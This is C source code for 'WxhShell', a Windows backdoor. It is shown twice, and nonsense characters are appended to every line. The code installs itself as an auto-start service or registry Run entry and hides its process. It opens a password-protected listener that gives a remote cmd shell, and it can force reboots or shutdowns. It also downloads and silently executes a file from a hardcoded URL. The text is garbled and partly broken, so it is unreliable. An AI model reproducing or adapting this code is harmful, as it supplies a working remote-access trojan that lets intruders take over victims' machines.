    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <^942y-=  
    if(Boot(SHUTDOWN)) 9A|9:OdG1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )t:8;;W@Ir  
    else { 2r]o>X  
    closesocket(wsh); Ysw&J}6e  
    ExitThread(0); ~at:\h4:  
    } F ^m;xy  
    break; W A*1_  
    } M!%|IKw  
  // 获取shell -3m!970  
  case 's': { t8.3  
    CmdShell(wsh); |eJR3o  
    closesocket(wsh); I SdB5Va  
    ExitThread(0); Im]6-#(9\|  
    break; @~&^1%37)  
  } &]A0=h2{P*  
  // 退出 MlW*Tugg  
  case 'x': { g; 7u-nP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tDMNpl  
    CloseIt(wsh); )M"xCO3a  
    break; >LPIvmT4D?  
    } ~8-xj6^  
  // 离开 C AN1~  
  case 'q': { nV8iYBBym  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,s:viXk  
    closesocket(wsh); _NpxV'E  
    WSACleanup(); S&D8Rao5  
    exit(1); N&|,!Cu  
    break; gr# |ZK.`  
        } s3K!~v\L]  
  } ;0uiO.  
  } 8kE3\#);\  
l?Ibq}[~  
  // 提示信息 7?);wh7`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T`]P5Bk8r  
} k[f_7lJ2  
  } ][YC.J  
ft4hzmuzM  
  return; /bo`@ !-#  
} mrr -jo  
mMO]l(a&  
// shell模块句柄 d'b9.ki\  
int CmdShell(SOCKET sock) Az:A,;~+,!  
{ 8q:# '  
STARTUPINFO si; :sA UV79M  
ZeroMemory(&si,sizeof(si)); ["<'fq;PJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #%V+- b(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )HX(-"c  
PROCESS_INFORMATION ProcessInfo; Y.#fpG'  
char cmdline[]="cmd"; 10bv%ZX7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _c}# f\ +_  
  return 0; 8PWEQ<ev7>  
} HK%W7i/k@  
j[dgY1yE:  
// 自身启动模式 NYzBfL x  
int StartFromService(void) VSh&Y_%  
{ Nu'ox. V  
typedef struct \eRct_  
{ Nx E=^ v  
  DWORD ExitStatus; QUh`kt(E  
  DWORD PebBaseAddress; 6` Aw!&{  
  DWORD AffinityMask; s%RG_"l  
  DWORD BasePriority; OGG9f??  
  ULONG UniqueProcessId; 3 .KNAObO  
  ULONG InheritedFromUniqueProcessId; 7 y$a=+D i  
}   PROCESS_BASIC_INFORMATION; ;<nJBZB9u  
@Qp#Tg<'  
PROCNTQSIP NtQueryInformationProcess; Gi*_ &  
K6|R ;r5e{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8NTE`l=>/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qd>\{$N  
/!`xqG#  
  HANDLE             hProcess; 2^f7GP  
  PROCESS_BASIC_INFORMATION pbi; jX^_(Kg  
QbY@{"" `  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FPM l;0{  
  if(NULL == hInst ) return 0; ;82?ACCP  
0sB[]E|7[s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a|4Q6Ycu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'rA(+-.M;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 62K#rR S  
bfy=  
  if (!NtQueryInformationProcess) return 0; !/=.~B  
zJ@^Bw;A^@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ntW1 )H'o  
  if(!hProcess) return 0; S,Tc\}  
Aq\K N.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ch:EL-L  
tg\o"QKW9  
  CloseHandle(hProcess); *d PbV.HCl  
81w"*G5AM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c%1{l]   
if(hProcess==NULL) return 0; ;WgUhA ;q  
{-%8RSK=<  
HMODULE hMod; z%\&n0  
char procName[255]; ?/my G{E  
unsigned long cbNeeded; 8pZOgh  
bR8`Y(=F9b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NOKU2d4 G  
2waPNb|  
  CloseHandle(hProcess); dcyHp>\)|  
%.onO0})  
if(strstr(procName,"services")) return 1; // 以服务启动 7+qKA1t^  
''3I0X*!  
  return 0; // 注册表启动 q%dbx:y#  
} ?-)v{4{s  
P%N)]b<c*  
// 主模块 T''<yS  
int StartWxhshell(LPSTR lpCmdLine) NB+/S;`  
{ m(0X_& &?z  
  SOCKET wsl; !Lw]aHb  
BOOL val=TRUE; .8T0OQ4  
  int port=0; NCl@C$W9q  
  struct sockaddr_in door; d`~~Ww1  
4IvT}Us#+  
  if(wscfg.ws_autoins) Install(); n 8 K6m(  
nd7g8P9p  
port=atoi(lpCmdLine); a,r B7aD  
w4M;e;8m[U  
if(port<=0) port=wscfg.ws_port; p<,`l)o}~  
\-f/\P/ w  
  WSADATA data; bZ``*{I/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q alrG2  
Ivj=?[c|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4I&Mdt<^D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u8M_2r  
  door.sin_family = AF_INET; l5\V4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QHc([%oV  
  door.sin_port = htons(port); O%N.;Ve  
8@RtL,[d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (.VS&Kv#U  
closesocket(wsl); \ Ce*5h  
return 1; )a x>*  
} /?($W|9+l  
;mvVo-r*q  
  if(listen(wsl,2) == INVALID_SOCKET) { +.OdrvN4)  
closesocket(wsl); HrfS^B  
return 1; OA(.&5]  
} F\L!.B  
  Wxhshell(wsl); D /GE-lq  
  WSACleanup(); RBBmGZ  
>k/cm3  
return 0; U4<c![Pp.  
L"n)fe$  
} 6U.|0mG[  
&/WE{W  
// 以NT服务方式启动 ~E!kx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) | L1+7  
{ 5t"FNL <(M  
DWORD   status = 0; DfP-(Lm)  
  DWORD   specificError = 0xfffffff; Iy&,1CI"]  
WqF$-rBJG^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =0!j"z=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RZ;s_16GQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Poa&htxe1  
  serviceStatus.dwWin32ExitCode     = 0; yMTO5~U{  
  serviceStatus.dwServiceSpecificExitCode = 0; `48Ql  
  serviceStatus.dwCheckPoint       = 0; Y]](.\ff  
  serviceStatus.dwWaitHint       = 0; }a.j~>rq  
zn7)>cQ905  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  bI8uw|c  
  if (hServiceStatusHandle==0) return; :9Jy/7/  
0H]{,mVs  
status = GetLastError(); \"Y,1in#  
  if (status!=NO_ERROR) RjVmHhX  
{ |_>^vW1f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q=V'pML  
    serviceStatus.dwCheckPoint       = 0; x!\q69ndv  
    serviceStatus.dwWaitHint       = 0; Q2uV/M1?  
    serviceStatus.dwWin32ExitCode     = status; 5j6`W?|q  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~!!| #A)W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f'H|K+bO  
    return; >]z^.U7=  
  } Z6A-i@  
nSC2wTH!1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JXYZ5&[  
  serviceStatus.dwCheckPoint       = 0; > pP&/  
  serviceStatus.dwWaitHint       = 0; GNe^ ~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y)+q[MZ R  
} +yHz7^6-5  
\Z&Nd;o   
// 处理NT服务事件,比如:启动、停止 -TH MTRFz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'A3skznX{  
{ H(rD*R[  
switch(fdwControl) XNv2xuOcJ  
{ ~~ rR< re  
case SERVICE_CONTROL_STOP: !hhL",  
  serviceStatus.dwWin32ExitCode = 0; ~rJG4U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |E.BGdS  
  serviceStatus.dwCheckPoint   = 0; [nPs  
  serviceStatus.dwWaitHint     = 0; /:' >-253  
  { [!-gb+L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G0Qw& mqF  
  } Vm>EF~r  
  return; ,<r&] eC  
case SERVICE_CONTROL_PAUSE: UNff &E-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |=m.eU  
  break; 9S*"={}%  
case SERVICE_CONTROL_CONTINUE: _gI1rXI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C5,fX-2Q  
  break; S!.&#sc  
case SERVICE_CONTROL_INTERROGATE: I4{xQI  
  break; Cul=,;pkB  
}; q*3keB;X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jt@lH  
} RbXR/Rd  
5$D"uAp<V  
// 标准应用程序主函数 d#H9jg15e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PD-&(ka.  
{ "8{A4N1B5  
}: HG)V  
// 获取操作系统版本 .'gm2  
OsIsNt=GetOsVer(); '=n?^EPE3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4^F%bXJ)  
N+rU|iMa.  
  // 从命令行安装 '#Au~5  
  if(strpbrk(lpCmdLine,"iI")) Install(); =I@t%Y  
"4)N]Nj  
  // 下载执行文件 "+- 'o+  
if(wscfg.ws_downexe) { K+F"VW*?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _!@:@e)yB{  
  WinExec(wscfg.ws_filenam,SW_HIDE); z qo0P~  
}  p;w&}l{{  
+*:mKx@Nw  
if(!OsIsNt) { /[.V(K D  
// 如果时win9x,隐藏进程并且设置为注册表启动 VNHce H  
HideProc(); : ~vodh  
StartWxhshell(lpCmdLine); At4\D+J{Vs  
} 1x:W 3.  
else 9Yv:6@.F  
  if(StartFromService()) VP~2F E  
  // 以服务方式启动 d?2ORr|m=  
  StartServiceCtrlDispatcher(DispatchTable); Cp6S2v I  
else T8x)i\<  
  // 普通方式启动 3I_^F&T  
  StartWxhshell(lpCmdLine); pg4W?N`  
% /VCjuV  
return 0; &uK(. @  
} 6*q1%rs:w  
^{4BcM7eH  
;7QXs39S  
Mh.1KI[t  
=========================================== 10Ik_L='  
<\~v$=G  
_SAM8!q4,  
5@w6pda  
&*=!B9OBI  
IR6W'vA  
" hul,Yd) Z  
6dRhK+|  
#include <stdio.h> %^IQ<   
#include <string.h> g<W]NYm  
#include <windows.h> Y 3BJ@sqz  
#include <winsock2.h>  $3^M-w  
#include <winsvc.h> \yr9j$  
#include <urlmon.h> Jr2yn{s=S  
^v'kEsE^*  
#pragma comment (lib, "Ws2_32.lib") -G~]e6:zD  
#pragma comment (lib, "urlmon.lib") |Ns4^2  
a)QT#.  
#define MAX_USER   100 // 最大客户端连接数 1;ttwF>G7  
#define BUF_SOCK   200 // sock buffer d m8t ~38  
#define KEY_BUFF   255 // 输入 buffer iBSM \ n  
im2mA8OH  
#define REBOOT     0   // 重启 #'_#t/u  
#define SHUTDOWN   1   // 关机 V]F D'XAl  
4v\HaOk  
#define DEF_PORT   5000 // 监听端口 9Da{|FyrD  
gyw=1q+  
#define REG_LEN     16   // 注册表键长度 |LZ;2 i  
#define SVC_LEN     80   // NT服务名长度 bC `<A  
z1mB Hz6  
// 从dll定义API A@}5'LzL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J\L'HIs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %Jt35j@Ee  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nqj(V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IzpE|8l  
EZ)b E9  
// wxhshell配置信息 An. A1y  
struct WSCFG { K%v:giN$l`  
  int ws_port;         // 监听端口 D$hQ-K  
  char ws_passstr[REG_LEN]; // 口令 4=L>  
  int ws_autoins;       // 安装标记, 1=yes 0=no L|CdTRgRCB  
  char ws_regname[REG_LEN]; // 注册表键名 $ZM'dIk?  
  char ws_svcname[REG_LEN]; // 服务名 #n>U7j9`O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .G{cx=;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .l1x~(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?+t;\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ys9:";X;}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >dl5^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |>;PV4])(  
,*|Q=  
}; 4$xVm,n|  
Nk7y2[  
// default Wxhshell configuration I%5vI}  
struct WSCFG wscfg={DEF_PORT, t*IePz]/  
    "xuhuanlingzhe", Q,KNZxT,q  
    1, 6!\V|  
    "Wxhshell", w2 Y%yjCV  
    "Wxhshell", ^4n#''wJ  
            "WxhShell Service", U@OdQAX  
    "Wrsky Windows CmdShell Service", ^Arv6kD,  
    "Please Input Your Password: ", ?Y4 +3`\x  
  1, x%viCkq  
  "http://www.wrsky.com/wxhshell.exe", 4z<c8 E8  
  "Wxhshell.exe" xMjhC;i{  
    }; ]Dq6XR  
!85bpQ.  
// 消息定义模块 b Hr^_ogN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IuXgxR%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cp`J ep<T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #X-C~*|>j  
char *msg_ws_ext="\n\rExit."; dc)%5fV\  
char *msg_ws_end="\n\rQuit."; 7{ m>W!  
char *msg_ws_boot="\n\rReboot..."; 3``JrkPI  
char *msg_ws_poff="\n\rShutdown..."; 5#.m'a)  
char *msg_ws_down="\n\rSave to "; w6vbYPCN  
//7YtK6  
char *msg_ws_err="\n\rErr!"; h4` 8C]  
char *msg_ws_ok="\n\rOK!";  S_P&Fv  
rCPIz<  
char ExeFile[MAX_PATH]; T!c|O3m  
int nUser = 0; HMd?`  
HANDLE handles[MAX_USER]; +#Pb@^6"m  
int OsIsNt; ##jJa SxG  
Nf] ?hfJ  
SERVICE_STATUS       serviceStatus; L`nW&; w'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5 A0]+)5E8  
 0s;~9>  
// 函数声明 xS|9Gk  
int Install(void); Lz 1.+:Ag  
int Uninstall(void); &|Gg46P7  
int DownloadFile(char *sURL, SOCKET wsh); o/{`\4  
int Boot(int flag); ' [$KG  
void HideProc(void); * :L"#20:R  
int GetOsVer(void); Z<X=00,wg  
int Wxhshell(SOCKET wsl); ~J].~^[  
void TalkWithClient(void *cs); #*iUZo  
int CmdShell(SOCKET sock); \IL)~5d  
int StartFromService(void); RL` E}:V  
int StartWxhshell(LPSTR lpCmdLine); v2;E Wp  
yj:@Fg-3g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /|v4]t-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H:DR?'yW  
Ow;thNN  
// 数据结构和表定义 S^%3Vf}  
SERVICE_TABLE_ENTRY DispatchTable[] = 8eB,$;i  
{ kkl'D!z2g  
{wscfg.ws_svcname, NTServiceMain}, }g+kU1y  
{NULL, NULL} mF 1f(  
}; {!2K-7;  
cO5F=ZxR  
// 自我安装 HyzSHI  
int Install(void) \TP$2i%W  
{ s{^B98d+W  
  char svExeFile[MAX_PATH]; tD.#*.7  
  HKEY key; QM(xMq  
  strcpy(svExeFile,ExeFile); kK75(x  
}d. X2?  
// 如果是win9x系统,修改注册表设为自启动 Kd oI  
if(!OsIsNt) { ]aPf-O*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { do8[wej<:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /r7xA}se^  
  RegCloseKey(key); ?}Zo~]7E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { # xO PF9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [5&k{*}}  
  RegCloseKey(key); `CWhjL8^  
  return 0; (2b${Q@V  
    } cW*v))@2  
  } m7k }k)  
} dXTD8 )&  
else { fw&*;az  
lAnq2j|  
// 如果是NT以上系统,安装为系统服务 V*n$$-5 1-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wNmpUO ?  
if (schSCManager!=0) b+~_/;Y9  
{ Z^'~iU-?  
  SC_HANDLE schService = CreateService T";evM66  
  ( `NtW+v  
  schSCManager, vEI{AmogRx  
  wscfg.ws_svcname, c0o]O[  
  wscfg.ws_svcdisp, s*rR> D:  
  SERVICE_ALL_ACCESS, .))g]CH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zQ+Mu^|u+  
  SERVICE_AUTO_START, {Z c8,jm  
  SERVICE_ERROR_NORMAL, 6k hBT'n  
  svExeFile, 1hw.gn*JK>  
  NULL, N}#Rw2Vl  
  NULL, JU)^b V_  
  NULL, LuySa2 ,  
  NULL, z|Y54o3  
  NULL =w3A{h"^  
  ); ^iONC&r  
  if (schService!=0) 0`E G-Hw  
  { ]njNSn  
  CloseServiceHandle(schService); mh8fJ6j29N  
  CloseServiceHandle(schSCManager); u[**,.Ecg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T U6s~  
  strcat(svExeFile,wscfg.ws_svcname); !H\;X`W|~D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1 iox0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3@" :&  
  RegCloseKey(key); AUD) =a>  
  return 0; @XJ7ff&  
    } lrJV"H  
  } Pm%xX~H  
  CloseServiceHandle(schSCManager); /0\g!29l<  
} ~u%$ 9IhM  
} 3zB'AG3b  
WVR/0l&bU  
return 1; ~HIj+kN  
} [7}3k?42X  
{dxFd-K3  
// 自我卸载 VzXVy)d  
int Uninstall(void) 4FzTf7h^  
{ 9D14/9*(dU  
  HKEY key; ~Eg]Auk7  
},d^y:m  
if(!OsIsNt) { K~d'*J-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XYvj3+  
  RegDeleteValue(key,wscfg.ws_regname); anSZWQ  
  RegCloseKey(key); __b4dv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $1ovT8  
  RegDeleteValue(key,wscfg.ws_regname); Md4Q.8  
  RegCloseKey(key); ?EC\ .{  
  return 0; ;~0q23{+;U  
  } 1 3 ]e< '  
} *IOrv)  
} |? V7E\S  
else { W(]A^C=/  
B& @ pZYl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7G+!9^  
if (schSCManager!=0) ,a&,R*r@&  
{ +(= -95qZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZP~H!  
  if (schService!=0) (d#&m+ g]  
  { ry|a_3X(I  
  if(DeleteService(schService)!=0) { rQl9SUs  
  CloseServiceHandle(schService); 4^r6RS@z  
  CloseServiceHandle(schSCManager); {_b2!!p  
  return 0; MH#Tp#RG  
  } Y/J~M$9P,  
  CloseServiceHandle(schService); /wEl\Kx  
  } [\3ZMH *  
  CloseServiceHandle(schSCManager); >/74u/&  
} rA ={;`  
} se.HA  
A5j? Yts  
return 1; J&j5@  
} by+xK~>  
)y8Myb}  
// 从指定url下载文件 gIrbOMQ7  
int DownloadFile(char *sURL, SOCKET wsh) hV~M!vFxA  
{ sg=G<50i  
  HRESULT hr; B9|s`o)!  
char seps[]= "/"; Sj I,v+  
char *token; Pd+*syOM  
char *file; ^ oav-R&  
char myURL[MAX_PATH]; z00X ?F  
char myFILE[MAX_PATH]; <cOjtq,0  
VHPqEaR  
strcpy(myURL,sURL); eGT&&Y  
  token=strtok(myURL,seps); kBqgz| jE%  
  while(token!=NULL) Ye]K 74M.  
  { b_`h2dUq  
    file=token; r^6@Zwox]  
  token=strtok(NULL,seps); ?#GTD?3d  
  } 9ye!kYF,  
\FfqIc9;  
GetCurrentDirectory(MAX_PATH,myFILE); +@]k[9  
strcat(myFILE, "\\"); :xHKbWz6j  
strcat(myFILE, file); 4AzDWK@/  
  send(wsh,myFILE,strlen(myFILE),0); |$ ^3 5F  
send(wsh,"...",3,0); AS]8rH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;`/a. /bc  
  if(hr==S_OK) a>l,H#w*vW  
return 0; Tv1oy%dK  
else L~f~XgQ  
return 1; f/c&Ya(D~  
C$0u-Nx8  
} bM"?^\a&Q  
AmC9qk8Q  
// 系统电源模块 [R1|=kGU  
int Boot(int flag) qqo#H O  
{ 2H w7V3q  
  HANDLE hToken; ]d[e  
  TOKEN_PRIVILEGES tkp; lusUmFm'*  
Pk;/4jt4  
  if(OsIsNt) { $}vzBuWHwN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j^#p#`m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); md<^x(h"<  
    tkp.PrivilegeCount = 1; mS[``$Z\!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #lMcAYH,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;`^_9 K  
if(flag==REBOOT) { x2t&Wpvt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sN8pwRjb  
  return 0; E`.hM}h  
} bvJ@H Z$  
else { XYR q"{Id  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zWU]4;,"  
  return 0; Uhr2"Nuuy  
} $)@D(m,ybd  
  } rR":}LA^d  
  else { JwxKWVpWv  
if(flag==REBOOT) { kJl^,q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]VQd *~ -  
  return 0; iS)-25M'  
} s<"|'~<n  
else { i`e[Vwe2x@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ROn@tW  
  return 0; UapU:>!"`  
} VqvjOeCbH  
} .'A1Eoo0d  
B-_b.4ND)  
return 1; ]B;`Jf  
} OS`jttU@  
l'q%bi=f  
// win9x进程隐藏模块 [uGsF0#e  
void HideProc(void) l0^cdl-  
{ u; KM[FmK  
LDEc}XXb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~b*]jZwT  
  if ( hKernel != NULL ) /0qbRk i  
  { p~3 x=X4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0ZwXuq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k L6s49  
    FreeLibrary(hKernel); /d}"s.3p  
  } BFw_T3}zn  
{e|.AD  
return; d'Bxi"K  
} 8#JX#<HEo  
TW>GYGz  
// 获取操作系统版本 w!H(zjv&(  
int GetOsVer(void) >i*,6Psl[Z  
{ JDR_k  
  OSVERSIONINFO winfo; deaB_cjdI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6d/Q"As  
  GetVersionEx(&winfo); VQqBo~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G\ F>*  
  return 1; r!f UMDS  
  else 2#:p:R8I>  
  return 0; M5w/TN  
} =K0%bI  
Dq~;h \='  
// 客户端句柄模块 v[|W\y@H/3  
int Wxhshell(SOCKET wsl) 3 e'6A^#  
{ I ?Dp *u*  
  SOCKET wsh; o$</At  
  struct sockaddr_in client; jr0j0$BF  
  DWORD myID; d2Q*1Q@u  
@k h<b<a4  
  while(nUser<MAX_USER) 4 j=K3m  
{ JqMF9|{H  
  int nSize=sizeof(client); 6Jq[]l"v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,k~' S~w.  
  if(wsh==INVALID_SOCKET) return 1; 1UJrPM%  
5\z<xpJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8>[g/%W  
if(handles[nUser]==0) YX-~?Pl  
  closesocket(wsh); +={K -g7U  
else CR'%=N04^  
  nUser++; Kw`CN  
  } BZ:tVfg.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 131(0nl)=I  
xrvM}Il  
  return 0; 1Zn8CmE V  
} -c]AS[(  
9x@|%4Zm"  
// 关闭 socket ko[w#j  
void CloseIt(SOCKET wsh) [s[ZOi!;I  
{ e^\e;>Dh>  
closesocket(wsh); Gqd|F>  
nUser--; l~;>KjZg  
ExitThread(0); \t=0rFV)t  
} Godrz*"  
:sg}e  
// 客户端请求句柄 HuTtp|zM>  
void TalkWithClient(void *cs) LE<J<~2Z  
{ 24#qg '  
+`GtZnt#  
  SOCKET wsh=(SOCKET)cs; 1X5g(B  
  char pwd[SVC_LEN];  <EU R:  
  char cmd[KEY_BUFF]; ^C'0Y.H S  
char chr[1]; :+Ukwno?/  
int i,j; 1V1I[CxlX  
70 7( LG  
  while (nUser < MAX_USER) { Qh&Qsyo%  
_|GbU1Hz  
if(wscfg.ws_passstr) { )  FR7t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Su,:f_If,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !-7n69:G  
  //ZeroMemory(pwd,KEY_BUFF); i WD|F-  
      i=0; Z,#H\1v3lB  
  while(i<SVC_LEN) { cp(qaa  
\PE;R.v_:  
  // 设置超时 HCN/|z1Xq  
  fd_set FdRead; *z VN6wG{  
  struct timeval TimeOut; Ll|_Wd.K,  
  FD_ZERO(&FdRead); `?Q p>t  
  FD_SET(wsh,&FdRead); (|^m9v0:  
  TimeOut.tv_sec=8; RN(I}]]a  
  TimeOut.tv_usec=0; &kIeW;X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VGQ~~U7}@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @Iz]:@\cJ  
uTR^K=Ve  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t 6nRg  
  pwd=chr[0]; P'U2hCif  
  if(chr[0]==0xd || chr[0]==0xa) { tsc `u>  
  pwd=0; >l &]Ho  
  break; Y'|,vG  
  } y+ze`pL?  
  i++; [oTe8^@[  
    } !G;u )7'v  
e7U\gtZ.  
  // 如果是非法用户,关闭 socket {zAI-?#*u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qazA,|L!  
} +\Vm t[v  
7l69SQo]?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3{3@>8{w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gY~r{  
b4_0XmL  
while(1) { |[>@Kk4  
<PpvVDy3  
  ZeroMemory(cmd,KEY_BUFF); [Iks8ZWr_  
"O jAhKfG  
      // 自动支持客户端 telnet标准   *XTd9E^tXq  
  j=0; tVn?cS  
  while(j<KEY_BUFF) { |EE1S{!24m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6^Wep- $  
  cmd[j]=chr[0]; &|>~7(  
  if(chr[0]==0xa || chr[0]==0xd) { GF ux?8A:%  
  cmd[j]=0; _!',%  +  
  break; YqX$a~  
  } &j 4pC$Dj  
  j++; sApix=Lr  
    } , Z"<-%3  
EG>?>K_D  
  // 下载文件 p)IL(_X)  
  if(strstr(cmd,"http://")) { y>a?<*Y+e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y'_8b=*  
  if(DownloadFile(cmd,wsh)) Ym6d'd<9(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {.:$F3T  
  else q?(] Y*  
